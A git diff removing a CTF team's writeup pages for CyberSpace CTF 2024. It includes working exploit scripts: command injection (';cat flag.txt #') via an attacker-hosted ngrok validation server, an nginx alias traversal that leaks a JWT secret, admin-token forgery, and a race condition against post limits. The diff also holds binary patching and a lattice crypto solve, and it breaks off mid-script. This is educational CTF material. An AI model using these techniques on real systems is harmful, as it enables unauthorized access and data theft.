If the get arguments have the debug=true option, it will take the validation server from our preferences, which we remember to be a simple base64 cookie from a json so easily replicable.

- -

Solution - - - - - - - - -

- -

What we can do is give the application its own validation server, which is simply a copy of our own, except that we can change the date of the server to make the feature.

-
# filename: evil_validation.py
-
-
-from flask import Flask, jsonify
-import time
-from Crypto.Hash import SHA256
-from Crypto.PublicKey import ECC
-from Crypto.Signature import DSS
-
-app = Flask(__name__)
-
-key = ECC.generate(curve='p256')
-pubkey = key.public_key().export_key(format='PEM')
-
-
-@app.route('/pubkey', methods=['GET'])
-def get_pubkey():
-    print("Pubkey: " + pubkey)
-    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
-
-
-@app.route('/', methods=['GET'])
-def index():
-    date = str(int(time.time()) + 7 * 24 * 60 * 60)
-    h = SHA256.new(date.encode('utf-8'))
-    signature = DSS.new(key, 'fips-186-3').sign(h)
-
-    print("Date: " + date)
-    print("Signature: " + signature.hex())
-    print("Validating signature...")
-
-    print(jsonify({
-        'date': date,
-        'signature': signature.hex()
-    }))
-
-    return jsonify({
-        'date': date,
-        'signature': signature.hex()
-    })
-
-
-if __name__ == '__main__':
-    app.run(host='127.0.0.1', port=1338)
-
-
-
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import base64
-import requests
-import json
-from bs4 import BeautifulSoup
-
-BASE_URL = "https://feature-unlocked-web-challs.csc.tf"
-URL_HOOK = "https://3fcb-79-33-159-173.ngrok-free.app" # ngrok tunnel with evil_validation.py in listening (so run python3 evil_validation; ngrok http 1338 )
-
-s = requests.Session()
-
-def get_validation():
-
-  preference = base64.b64encode(json.dumps({
-      'theme': 'light',
-      'language': 'en',
-      'validation_server': URL_HOOK
-  }).encode()).decode()
-
-  r = s.get(f"{BASE_URL}/release", params={"debug": "true"},
-            cookies={"preferences": preference})
-
-  print(f"{s.cookies=}")
-
-def get_flag():
-  payload = ';cat flag.txt #' # Bypass for  word_count = f"echo {to_process} | wc -w"
-  r = s.post(f"{BASE_URL}/feature",data={"text":payload})
-  soup = BeautifulSoup(r.text, 'html.parser')
-  print("Flag: " + (soup.find('pre').text).strip())
-
-def main():
-  get_validation()
-  get_flag()
-
-
-if __name__ == "__main__":
-  main()
-
-# goodluck by @akiidjk
-
-
-
$ flag: CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/image-1.png b/public/writeups/cyberspace2024/image-1.png deleted file mode 100644 index 63b599ff..00000000 Binary files a/public/writeups/cyberspace2024/image-1.png and /dev/null differ diff --git a/public/writeups/cyberspace2024/image-2.png b/public/writeups/cyberspace2024/image-2.png deleted file mode 100644 index e06d0e06..00000000 Binary files a/public/writeups/cyberspace2024/image-2.png and /dev/null differ diff --git a/public/writeups/cyberspace2024/image-3.png b/public/writeups/cyberspace2024/image-3.png deleted file mode 100644 index 89b70895..00000000 Binary files a/public/writeups/cyberspace2024/image-3.png and /dev/null differ diff --git a/public/writeups/cyberspace2024/image-4.png b/public/writeups/cyberspace2024/image-4.png deleted file mode 100644 index 6aefbc46..00000000 Binary files a/public/writeups/cyberspace2024/image-4.png and /dev/null differ diff --git a/public/writeups/cyberspace2024/image.png b/public/writeups/cyberspace2024/image.png deleted file mode 100644 index 89b70895..00000000 Binary files a/public/writeups/cyberspace2024/image.png and /dev/null differ diff --git a/public/writeups/cyberspace2024/index.html b/public/writeups/cyberspace2024/index.html deleted file mode 100644 index 53016126..00000000 --- a/public/writeups/cyberspace2024/index.html +++ /dev/null @@ -1,449 +0,0 @@ - - - - - - - - - - - CyberSpace CTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Cyberspace
- - -
Crypto
- - -
Web
- - -
Forensics
- - -
Reverse
- - -
Pwn
- - -
Beginner
- - -
Jail
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - - -

CyberSpace CTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf!

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 21/63
  • -
  • Total points: 2032
  • -
  • Position: 83/830
  • -
  • Rating points: 3.355
  • -
- -

Writeups - - - - - - - - -

- - -

Crypto - - - - - - - - -

- - - -

Web - - - - - - - - -

- - - -

Rev - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/snake/index.html b/public/writeups/cyberspace2024/snake/index.html deleted file mode 100644 index 04d7b682..00000000 --- a/public/writeups/cyberspace2024/snake/index.html +++ /dev/null @@ -1,373 +0,0 @@ - - - - - - - - - - - Snake - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Reverse
- - -
Rust
- - -
File patching
- - -
50 points
- - -
122 solves
- - -
0xM4hm0ud
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - -

Snake

-

Description: Can you slither to the win?

-

Link to the binary: Elf file

- -

Introduction - - - - - - - - -

- -

We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points.

-

alt text

- -

Solution - - - - - - - - -

- -

The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a ‘slower’ approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i.e. the value that was added every time it ate a #).

-

In a short time I managed to find this:

-

alt text

-

After some trial and error, changing the value from 0xa to 0xb, I find the line of code I need, which is the last one in the screenshot above.

-

At this point I switch to the assembly and notice that my initial approach was wrong this is because I was putting too high a value in a register that it did not support in fact analysing the binary in assembly we see:

-

alt text

-

As we can see, before entering the constant into the dword register [rcx+0x7c], we first enter it into eax and if we enter too high a value, the programme simply crashes (as it should).

-

So simply afterwards I chose to put the precise value in the correct register once I had made at least one point

-

alt text

-

(the nop are automatically inserted by binary ninja)

-

In this way, once we have scored at least one point, we will have the flag

-

alt text

-
$ flag: CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/trendy_windy_trigonity/index.html b/public/writeups/cyberspace2024/trendy_windy_trigonity/index.html deleted file mode 100644 index a392fbdb..00000000 --- a/public/writeups/cyberspace2024/trendy_windy_trigonity/index.html +++ /dev/null @@ -1,389 +0,0 @@ - - - - - - - - - - - trendy windy trigonity - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
Sage
- - -
417 points
- - -
44 solves
- - -
ndr
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - -

Trendy windy trigonity

-

Description: have you seen Tan challenge before? see maple version pi documentation!

- -

Introduction - - - - - - - - -

- -

trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave.

-
from Crypto.Util.number import bytes_to_long
-
-flag = REDACTED
-print(len(flag))
-
-R = RealField(1000)
-a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:])
-x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
-
-enc = a*cos(x)+b*sin(x)
-
-# 38
-# 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45
-
-

The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. -The idea behind the challenge is very simple: find a and b to retrieve the flag.

- -

Solution - - - - - - - - -

- -

enc is a linear combination of cos(x) and sin(x), you know what that means: lattice. -Don’t forget to scale by the precision as we are working with integers.

-
R = RealField(1000)
-
-x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
-enc = R(2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45)
-
-scale = 2^1000
-
-m = matrix(ZZ, [
-    [1, 0, scale*cos(x)],
-    [0, 1, scale*sin(x)],
-    [0, 0, -scale*enc],
-])
-
-vec = m.LLL()[0]
-a, b = vec[0], vec[1]
-
-print(f'flag: {(a.to_bytes(19) + b.to_bytes(19)).decode()}')
-
-
$ flag: CSCTF{Trigo_453_Tr3ndy_FuN_Th35e_D4Y5}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/trendz/index.html b/public/writeups/cyberspace2024/trendz/index.html deleted file mode 100644 index 66674857..00000000 --- a/public/writeups/cyberspace2024/trendz/index.html +++ /dev/null @@ -1,1034 +0,0 @@ - - - - - - - - - - - Trendz - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
Web
- - -
Jwt secret leak
- - -
Race condition
- - -
383 points
- - -
175 points
- - -
52 solves
- - -
86 solves
- - -
careless_finch
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - -

Trendz (part 1 & 2)

- -

Preamble - - - - - - - - -

- -

This challenge is divided into four parts, three webs and a reverse. I’m excited to share that I managed to solve the first two webs! I’ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I’m eager to see how they fit together. -The application was written in Go using templates and a JWT authentication, and it’s write well! The application itself has many files, but they are well written and ordered, so a thorough analysis is not difficult but necessary. The application is divided into 5 basic parts.

-
    -
  • Config file: ngix.conf ,run.sh,init.sql, dockerfile and .dockerignore
  • -
  • Main go file: main.go This is where you’ll find all the details about how to use the different functions and what they do!
  • -
  • Dashboard: Here are the 3 types of dashboards possible in the application
  • -
  • Jwt handler: How to use JWT for authentication.
  • -
  • Service: The various services such as post creation or user validation
  • -
- -

Application flow - - - - - - - - -

- -

The basic application is presented with a login/registration screen where once we are logged in we are assigned an accesstoken and a refreshtoken, a redirect to the standard user dashboard occurs where we can create posts and view them via /posts/post-id,basically more than this we cannot do

-

alt text -alt text

- -

Path structure - - - - - - - - -

- -

As mentioned before in the main.go we find the path declaration and some very important initialization functions

-
// filename: main.go
-
-func main() {
- s := gin.Default()
- s.LoadHTMLGlob("templates/*")
- db.InitDBconn()
- jwt.InitJWT() // Initialization of jwt we will analyze it later
-
- s.GET("/", func(c *gin.Context) {
-  c.Redirect(302, "/login")
- })
- s.GET("/ping", func(c *gin.Context) {
-  c.JSON(200, gin.H{
-   "message": "pong",
-  })
- })
- r := s.Group("/")
- r.POST("/register", service.CreateUser)
- r.GET("/register", func(c *gin.Context) {
-  c.HTML(200, "register.tmpl", gin.H{})
- })
- r.POST("/login", service.LoginUser)
- r.GET("/login", func(c *gin.Context) {
-  c.HTML(200, "login.tmpl", gin.H{})
- })
-
- r.GET("/getAccessToken", service.GenerateAccessToken)
-
- authorizedEndpoints := r.Group("/user")
- authorizedEndpoints.Use(service.AuthorizeAccessToken())
- authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
- authorizedEndpoints.POST("/posts/create", service.CreatePost)
- authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
- authorizedEndpoints.GET("/flag", service.DisplayFlag)
-
- adminEndpoints := r.Group("/admin")
- adminEndpoints.Use(service.AuthorizeAccessToken())
- adminEndpoints.Use(service.ValidateAdmin())
- adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
-
- SAEndpoints := r.Group("/superadmin")
- SAEndpoints.Use(service.AuthorizeAccessToken())
- SAEndpoints.Use(service.ValidateAdmin())
- SAEndpoints.Use(service.AuthorizeRefreshToken())
- SAEndpoints.Use(service.ValidateSuperAdmin())
- SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
- SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
- s.NoRoute(custom.Custom404Handler)
- s.Run(":8000")
-}
-
-
-

As it is seen the scheme of the paths is very clear and it is well done basically we have the login and registration and then we move to a division by role where we have a user section an admin and a superadmin each of them with their own validation services

- -

Config files - - - - - - - - -

- -
# filename: run.sh
-
-#!/bin/env sh
-cat /dev/urandom | head | sha1sum | cut -d " " -f 1 > /app/jwt.secret
-
-export JWT_SECRET_KEY=notsosecurekey
-export ADMIN_FLAG=CSCTF{flag1}
-export POST_FLAG=CSCTF{flag2}
-export SUPERADMIN_FLAG=CSCTF{flag3}
-export REV_FLAG=CSCTF{flag4}
-export POSTGRES_USER=postgres
-export POSTGRES_PASSWORD=mysecretpassword
-export POSTGRES_DB=devdb
-
-uuid=$(cat /proc/sys/kernel/random/uuid)
-user=$(cat /dev/urandom | head | md5sum | cut -d " " -f 1)
-cat << EOF >> /docker-entrypoint-initdb.d/init.sql
- INSERT INTO users (username, password, role) VALUES ('superadmin', 'superadmin', 'superadmin');
-    INSERT INTO posts (postid, username, title, data) VALUES ('$uuid', '$user', 'Welcome to the CTF!', '$ADMIN_FLAG');
-EOF
-
-docker-ensure-initdb.sh &
-GIN_MODE=release /app/chall & sleep 5
-su postgres -c "postgres -D /var/lib/postgresql/data" &
-
-nginx -g 'daemon off;'
-
-
-

This file is actually very important because it gives us an idea of where the flags are (which fortunately are also numbered)

-

As we see the first thing that is done is to create a file called jwt.secret that will be a source of interest later,

-

We see that another jwt secret is initialized and 4 flags in 4 different environment variables,

-

Queries are made one in which the superadmin user is created and another in which the flag is inserted in a record in the posts table

-

Finally, the postgree database and the ngix server are started.

-

-user  nobody;
-worker_processes  auto;
-
-events {
-    worker_connections  1024;
-}
-
-
-http {
-    include       mime.types;
-    default_type  application/octet-stream;
-
-    sendfile        on;
-    keepalive_timeout  65;
-
-    server {
-        listen       80;
-        server_name  localhost;
-        location / {
-            proxy_pass http://localhost:8000;
-        }
-        location /static {
-            alias /app/static/;
-        }
-        error_page   500 502 503 504  /50x.html;
-        location = /50x.html {
-            root   html;
-        }
-
-    }
-
-}
-
-
-

This is the ngix configuration, where a fairly standard configuration is written, except for declaring a /static alias.

-

Well, once I’ve finished presenting the application, I’d say you’re ready to go…

-
- -

Trendz Part 1 - - - - - - - - -

- -

Description: The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.

-
-

Note: This challenge consists of four parts, which can be solved in any order. However, the final part will only be accessible once you’ve completed this initial task, and will be released in Wave 3.

-
- -

Introduction - - - - - - - - -

- -

Well, as we saw in the run.sh file, the first flag is inside a record in the post table and it is also called ADMIN_FLAG, so the first thing to see is how admin authentication works and what the admin dashboard can do.

- -

Source - - - - - - - - -

- -
// filename: AdminDash.go
-
-package dashboard
-
-import (
- "app/handlers/service"
- "os"
-
- "github.com/gin-gonic/gin"
-)
-
-func AdminDashboard(ctx *gin.Context) {
- posts := service.GetAllPosts()
- ctx.HTML(200, "adminDash.tmpl", gin.H{
-  "flag":  os.Getenv("ADMIN_FLAG"),
-  "posts": posts,
- })
-}
-
-

As we can see, the dashboard is very concise, we simply see that the GetAllPosts() function is called and then they are sent to the template, so not much to do here, let’s move on to how the admin is authenticated.

-
//filename: main.go
-
-adminEndpoints := r.Group("/admin")
-adminEndpoints.Use(service.AuthorizeAccessToken())
-adminEndpoints.Use(service.ValidateAdmin())
-adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
-
-

As we can see from the code, whenever we try to connect to the admin dashboard, it first runs two functions, ValidateAccess() and ValidateAdmin().

-
//filename: JWTHandler.go
-
-func AuthorizeAccessToken() gin.HandlerFunc {
- return func(c *gin.Context) {
-  c.Header("X-Frame-Options", "DENY")
-  c.Header("X-XSS-Protection", "1; mode=block")
-  const bearerSchema = "Bearer "
-  var tokenDetected bool = false
-  var tokenString string
-  authHeader := c.GetHeader("Authorization")
-  if len(authHeader) != 0 {
-   tokenDetected = true
-   tokenString = authHeader[len(bearerSchema):]
-  }
-  if !tokenDetected {
-   var err error
-   tokenString, err = c.Cookie("accesstoken")
-   if tokenString == "" || err != nil {
-    c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
-   }
-  }
-  fmt.Println(tokenString)
-  token, err := jwt.ValidateAccessToken(tokenString)
-  if err != nil {
-   fmt.Println(err)
-   c.AbortWithStatus(403)
-  }
-  if token.Valid {
-   claims := jwt.GetClaims(token)
-   fmt.Println(claims)
-   c.Set("username", claims["username"])
-   c.Set("role", claims["role"])
-  } else {
-   fmt.Println("Token is not valid")
-   c.Header("HX-Redirect", "/getAccessToken")
-   c.AbortWithStatus(403)
-  }
- }
-}
-
-

This is a pretty standard function regarding JWT integrity checking, in fact here we see that the function checks that the cookie is well formatted and has no problems by validating it with the ValidateAccessToken() function, otherwise it rejects it or aborts the operation.

-
//filename: JWTAuth.go
-
-func ValidateAccessToken(encodedToken string) (*jwt.Token, error) {
- return jwt.Parse(encodedToken, func(token *jwt.Token) (interface{}, error) {
-  _, isValid := token.Method.(*jwt.SigningMethodHMAC)
-  if !isValid {
-   return nil, fmt.Errorf("invalid token with signing method: %v", token.Header["alg"])
-  }
-  return []byte(secretKey), nil
- })
-}
-
-// The function is safe and it is not subject to `alg:none` or any other kind of attack, so we must move on.
-
-
//filename: ValidateAdmin.go
-
-func ValidateAdmin() gin.HandlerFunc {
- return func(c *gin.Context) {
-  const bearerSchema = "Bearer "
-  var tokenDetected bool = false
-  var tokenString string
-  authHeader := c.GetHeader("Authorization")
-  if len(authHeader) != 0 {
-   tokenDetected = true
-   tokenString = authHeader[len(bearerSchema):]
-  }
-  if !tokenDetected {
-   var err error
-   tokenString, err = c.Cookie("accesstoken")
-   if tokenString == "" || err != nil {
-    c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
-   }
-  }
-  fmt.Println(tokenString)
-  claims := jwt.ExtractClaims(tokenString)
-  if claims["role"] == "admin" || claims["role"] == "superadmin" {
-   fmt.Println(claims)
-  } else {
-   fmt.Println("Token is not valid")
-   c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"})
-   return
-  }
- }
-}
-
-

Instead, we see here that the role is validated in the JWT by checking that it is at least admin or superadmin.

- -

Solution - - - - - - - - -

- -

Mmm authentication seems secure let’s take a step back and go to the JWTInit function.

-
//filename: JWTAuth.go
-
-func InitJWT() {
- key, err := os.ReadFile("jwt.secret")
- if err != nil {
-  panic(err)
- }
- secretKey = key[:]
- fmt.Printf("JWT initialized %v\n", secretKey)
-}
-
-

We see that the function itself doesn’t do much simply takes the key with which it will sign jwt’s from a file well known to us in fact we have seen it in run.sh where it is created and where a secure value is put there

-

But if we analyse the Docker file system locally, we see that jwt.secret is located in the same folder as static, which we saw in the ngix configuration create an alias to that path.

-
location /static {
-            alias /app/static/;
-        }
-
-

If we try to access /static we can see.

-

alt text

-

NOTHING… But we can wander around a bit for js and css files that we don’t need though, And if we try a class ../ after static we see that it doesn’t find anything there

-

Hmm will there be a way to bypass the ngix and access the file?

-

Well actually yes because the configuration as we see on hacktricks is insecure and easily bypassed like this

-

alt text

-

And if we try to type /static../jwt.secret… NICE WE GOT THE JWT SECRET

-

Now just change the role of the jwt and re-sign it but we’ll see that later in detail being that the challenge itself is solved… (At the end see the #PS)

- -

Trendz Part 2 - - - - - - - - -

- -

Descripion: Staying active has its rewards. There’s a special gift waiting for you, but it’s only available once you’ve made more than 12 posts. Keep posting to uncover the surprise!

-
-

Note: Use the instancer and source from part one of this challenge, Trendz.

-
- -

Introduction - - - - - - - - -

- -

We are in the second part of the Trendz challenge, so we have exactly the same application, only the target flag has changed.

- -

Source - - - - - - - - -

- -

First thing to figure out is where the flag is located, going back to the run.sh we see that the file is located inside the POST_FLAG environment variable so we presso let’s assume that the posts center something, searching the directories with grep or something else we see that the variable is called here:

-
//filename: Posts.go
-
-func DisplayFlag(ctx *gin.Context) {
- username := ctx.MustGet("username").(string)
- noOfPosts := CheckNoOfPosts(username)
- if noOfPosts <= 12 {
-
-  ctx.JSON(200, gin.H{"error": fmt.Sprintf("You need %d more posts to view the flag", 12-noOfPosts)})
-  return
- }
- ctx.JSON(200, gin.H{"flag": os.Getenv("POST_FLAG")})
-}
-
-
-

Oh we just need to make 12 simple posts no?

-

Well not really in fact if we see the function that creates the posts we can see that it doesn’t allow us to make more than 12

-
//filename: Posts.go
-
-func CreatePost(ctx *gin.Context) {
- username := ctx.MustGet("username").(string)
- noOfPosts := CheckNoOfPosts(username)
- var req struct {
-  Title string `json:"title"`
-  Data  string `json:"data"`
- }
- if err := ctx.BindJSON(&req); err != nil {
-  ctx.JSON(400, gin.H{"error": "Invalid request"})
-  fmt.Println(err)
-  return
- }
- if noOfPosts >= 10 {
-  ctx.JSON(200, gin.H{"error": "You have reached the maximum number of posts"})
-  return
- }
- if len(req.Data) > 210 {
-  ctx.JSON(200, gin.H{"error": "Data length should be less than 210 characters"})
-  return
- }
- postID := InsertPost(username, req.Title, req.Data)
- ctx.JSON(200, gin.H{"postid": postID})
-}
-
-
-

As we can see, a function is executed that checks the number of posts, which in itself is not a major problem, the problem lies in the misuse of this function.

-

This is because although go is very fast and even postgree actually this doesn’t stop us from making a race condition

- -

Solution - - - - - - - - -

- -

The solution itself is very simple just create a large amount of requests simultaneously with the same session and hope to enter more posts than allowed by doing so we will be able to bypass the control and get our flag

-
-

Probably the reason it works is much more precise and technical, but to tell you the truth, it came to me as soon as I saw it and tried it, and apparently my hunch was right…

-
- -

Final script - - - - - - - - -

- -

This is the final exploit script with the 2 challenge solution

-
# filename: exploit.py
-#!/usr/bin/python3
-
-from concurrent.futures import ThreadPoolExecutor, as_completed
-from bs4 import BeautifulSoup
-import requests
-import jwt
-import string
-import random
-
-BASE_URL = "https://ID-INSTANCE.bugg.cc/"
-
-s = requests.Session()
-
-def random_string(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-
-def login(username, password):
-    response = s.post(f"{BASE_URL}/login",
-                      json={"username": username, "password": password})
-    if response.status_code != 200:
-        print(f"Login failed: {response.status_code}")
-        exit(response.status_code)
-
-
-def register(username, password):
-    response = s.post(f"{BASE_URL}/register",
-                      json={"username": username, "password": password})
-    if response.status_code != 200:
-        print(f"Register failed: {response.status_code}")
-        exit(response.status_code)
-
-def logout():
-    s.cookies.clear()
-
-def create_post(title: str = "title", content: str = "content"):
-    response = s.post(f"{BASE_URL}/user/posts/create",
-                      json={"title": title, "data": content})
-    if response.status_code != 200:
-        print(f"Post creation failed: {response.status_code}")
-        exit(response.status_code)
-
-
-def run_tasks(num_tasks, concurrency_limit):
-    results = []
-    with ThreadPoolExecutor(max_workers=concurrency_limit) as executor:
-        futures = [executor.submit(create_post)
-                   for _ in range(num_tasks)]
-        for future in as_completed(futures):
-            results.append(future.result())
-
-    return results
-
-def download_secret():
-  r = s.get(f"{BASE_URL}/static../jwt.secret", stream=True)
-  with open("jwt.secret", "wb") as f:
-      for chunk in r.iter_content(chunk_size=1024):
-        f.write(chunk)
-
-def resign_jwt(claims, secret_key):
-    return jwt.encode(claims, secret_key, algorithm='HS256')
-
-def get_flag_2():
-    for _ in range(10):
-        print("Try: " + str(_),end="\r")
-        run_tasks(num_tasks=50,concurrency_limit=100)
-        response = s.get(f"{BASE_URL}/user/flag")
-        if "CSCTF{" in response.text:
-            print("Flag 2 trendzz: " + response.json()['flag'])
-            return True
-        else:
-            logout()
-            username, password = random_string(10), random_string(10)
-            register(username, password)
-            login(username, password)
-    return False
-
-def get_flag_1():
-    download_secret()
-
-    with open("./jwt.secret", "rb") as file:
-        key = file.read()
-
-    print(f"Jwt secret leaked: {key}")
-
-    original_token = s.cookies.get_dict().get("accesstoken")
-
-    decoded_claims = jwt.decode(original_token, key, algorithms=['HS256'])
-
-    decoded_claims['role'] = 'admin'
-
-    new_jwt = resign_jwt(decoded_claims, key)
-
-    s.cookies.update({"accesstoken": new_jwt})
-
-    response = requests.get(f"{BASE_URL}/admin/dashboard",cookies={"accesstoken": new_jwt})
-
-    soup = BeautifulSoup(response.text, 'html.parser')
-    postid = soup.find_all('td')[1].text
-
-    print(f"Post-id: {postid}")
-
-    flag = s.get(f"{BASE_URL}/user/posts/{postid}").json().get("data")
-
-    print("Flag 1 trendz: " + flag)
-
-def main():
-    print("Exploiting...")
-
-    username, password = random_string(10), random_string(10)
-    register(username, password)
-    login(username, password)
-
-    get_flag_1()
-
-    if not get_flag_2():
-        print("Flag 2 retrieval failed try again :(")
-
-if __name__ == "__main__":
-    main()
-
-
$ flag 1: CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}
-
-
$ flag 2: CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}
-
- -
PS: - - - - - - - - -
- -
-

In the first flag I skipped a very funny part, in fact it is not enough to log in only as admin because we will not be shown the flag but a post of an ID that if you remember the flag was also in a precise record initialised in run.sh, if through /user/posts/post-id we view the post we can find the flag

-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/zipzone/index.html b/public/writeups/cyberspace2024/zipzone/index.html deleted file mode 100644 index a4c3e417..00000000 --- a/public/writeups/cyberspace2024/zipzone/index.html +++ /dev/null @@ -1,508 +0,0 @@ - - - - - - - - - - - ZipZone - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Symlink
- - -
50 points
- - -
173 solves
- - -
rex
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - -

Zipzone

-

Description: I was tired of trying to find a good file server for zip files, so I made my own! It’s still a work in progress, but I think it’s pretty good so far.

-

Link: https://zipzone-web.challs.csc.tf/

- -

Introduction - - - - - - - - -

- -

ZipZone is the only one web in the beginner’s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards.

- -

Source - - - - - - - - -

- -
# filename: app.py
-
-import logging
-import os
-import subprocess
-import uuid
-
-from flask import (
-    Flask,
-    abort,
-    flash,
-    redirect,
-    render_template,
-    request,
-    send_from_directory,
-)
-
-app = Flask(__name__)
-upload_dir = "/tmp/"
-
-app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6  # 1 MB
-app.config["SECRET_KEY"] = os.urandom(32)
-
-
-@app.route("/", methods=["GET", "POST"])
-def upload():
-    if request.method == "GET":
-        return render_template("index.html")
-
-    if "file" not in request.files:
-        flash("No file part!", "danger")
-        return render_template("index.html")
-
-    file = request.files["file"]
-    if file.filename.split(".")[-1].lower() != "zip":
-        flash("Only zip files allowed are allowed!", "danger")
-        return render_template("index.html")
-
-    upload_uuid = str(uuid.uuid4())
-    filename = f"{upload_dir}raw/{upload_uuid}.zip"
-    file.save(filename)
-    subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"])
-
-    print(f"Unzipped {filename} to {upload_dir}files/{upload_uuid}")
-
-    flash(
-        f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success"
-    )
-    logging.info(f"User uploaded file {upload_uuid}.")
-    return redirect("/")
-
-
-@app.route("/files/<path:path>")
-def files(path):
-    try:
-        return send_from_directory(upload_dir + "files", path)
-    except PermissionError:
-        abort(404)
-
-
-@app.errorhandler(404)
-def page_not_found(error):
-    return render_template("404.html")
-
-
-if __name__ == "__main__":
-    app.run(debug=True, host="0.0.0.0", port=5000)
-
-
- -

Solution - - - - - - - - -

- -

Being actually a web in the beginner category, I initially just gave a quick read to the source code, where in fact no checks are done on the files inside the zipper, but only on the zipper itself, where we see the extension is checked

-
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import os
-import subprocess
-import requests
-from bs4 import BeautifulSoup
-
-BASE_URL = "https://zipzone-web.challs.csc.tf"
-URL_HOOK = ""
-
-def get_uuid(text):
-  soup = BeautifulSoup(text, 'html.parser')
-  for a in soup.find_all('a', href=True):
-    if a['href']:
